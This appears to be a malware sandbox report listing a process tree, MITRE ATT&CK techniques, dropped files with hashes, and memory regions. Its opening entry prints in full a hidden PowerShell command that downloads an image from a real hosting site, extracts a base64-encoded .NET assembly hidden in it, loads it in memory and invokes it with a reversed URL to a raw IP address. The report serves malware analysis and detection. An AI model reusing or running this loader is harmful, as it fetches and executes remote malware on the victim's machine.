  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.bxagin/25.84.011.97//:ptth');$method.Invoke($null, $arguments)"
      4⤵
      Blocklisted process makes network request
      Drops file in System32 directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3004

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Exploitation for Client Execution

T1203

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
1da15ae73bcf991e67c0aa61260a4e8b

SHA1
0344e7752a8316f5cb6c359f3359d78bb009fbd2

SHA256
08c762923700054abece041784535467c2d3487c7fc8de1fc1abc21a690ad5e1

SHA512
3df6dfcfe4ecd22b5fbcecca91d0fb837b73c5d2664979e050d5d461d52d1f5f17695343720568ab3b9202a12043cd4b6f8922a0567ccaaf313e59be8b751c6c

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab5EC5.tmp

Filesize
61KB

MD5
f3441b8572aae8801c04f3060b550443

SHA1
4ef0a35436125d6821831ef36c28ffaf196cda15

SHA256
6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf

SHA512
5ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar5F25.tmp

Filesize
163KB

MD5
9441737383d21192400eca82fda910ec

SHA1
725e0d606a4fc9ba44aa8ffde65bed15e65367e4

SHA256
bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5

SHA512
7608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\9J98ZFUZU63Y9SFBJAOC.temp

Filesize
7KB

MD5
f6d14077feba13d79507e7deb828da53

SHA1
c616c7d5dba4033485c92e9aa6135ef0d706a8ff

SHA256
e51f7330b2cb2ee70692b1786b263e9072639735270ef0b6ef73f876f3d1dcd5

SHA512
b892a387592e24eb925a50c541fcc23758b07bef364f43935278656af2617b7f34001093e6914663e9eb8923ff9246df8f16da0a910525b1a496488d42cf0dcb

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
f6d14077feba13d79507e7deb828da53

SHA1
c616c7d5dba4033485c92e9aa6135ef0d706a8ff

SHA256
e51f7330b2cb2ee70692b1786b263e9072639735270ef0b6ef73f876f3d1dcd5

SHA512
b892a387592e24eb925a50c541fcc23758b07bef364f43935278656af2617b7f34001093e6914663e9eb8923ff9246df8f16da0a910525b1a496488d42cf0dcb

Download Submit
C:\Users\Admin\AppData\Roaming\haxhsiplio.vbs

Filesize
390KB

MD5
71888fbd97b2b0394ce9b5340e318565

SHA1
44ad82ea2641b9ce4ab6675c669b1e779a4924cb

SHA256
1358e0298872c4731d5aa8aae29cfbb04c4ffa180ff4382896950cb852c9678e

SHA512
d0fae98789bf3536d25adcf8623e8eb972c09fc01f2cdef4aa533579d53818c49756e81cc3ace970caad4d049553adcc2e8907eb29f91c818b739b45663cf652

Download Submit
C:\Users\Admin\AppData\Roaming\haxhsiplio.vbs

Filesize
390KB

MD5
71888fbd97b2b0394ce9b5340e318565

SHA1
44ad82ea2641b9ce4ab6675c669b1e779a4924cb

SHA256
1358e0298872c4731d5aa8aae29cfbb04c4ffa180ff4382896950cb852c9678e

SHA512
d0fae98789bf3536d25adcf8623e8eb972c09fc01f2cdef4aa533579d53818c49756e81cc3ace970caad4d049553adcc2e8907eb29f91c818b739b45663cf652

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memory/1700-24-0x000000007271D000-0x0000000072728000-memory.dmp

Filesize
44KB

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memory/1700-1-0x000000007271D000-0x0000000072728000-memory.dmp

Filesize
44KB

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memory/1700-92-0x000000007271D000-0x0000000072728000-memory.dmp

Filesize
44KB

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memory/1700-91-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

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memory/1700-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

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memory/2672-86-0x000000006C440000-0x000000006C9EB000-memory.dmp

Filesize
5.7MB

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memory/2672-15-0x00000000024D0000-0x0000000002510000-memory.dmp

Filesize
256KB

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memory/2672-14-0x00000000024D0000-0x0000000002510000-memory.dmp

Filesize
256KB

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memory/2672-13-0x00000000024D0000-0x0000000002510000-memory.dmp

Filesize
256KB

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memory/2672-88-0x00000000024D0000-0x0000000002510000-memory.dmp

Filesize
256KB

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memory/2672-89-0x000000006C440000-0x000000006C9EB000-memory.dmp

Filesize
5.7MB

Download
memory/2672-12-0x000000006C440000-0x000000006C9EB000-memory.dmp

Filesize
5.7MB

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memory/2672-11-0x000000006C440000-0x000000006C9EB000-memory.dmp

Filesize
5.7MB

Download
memory/3004-23-0x000000006C440000-0x000000006C9EB000-memory.dmp

Filesize
5.7MB

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memory/3004-22-0x00000000024C0000-0x0000000002500000-memory.dmp

Filesize
256KB

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memory/3004-21-0x000000006C440000-0x000000006C9EB000-memory.dmp

Filesize
5.7MB

Download
memory/3004-87-0x000000006C440000-0x000000006C9EB000-memory.dmp

Filesize
5.7MB

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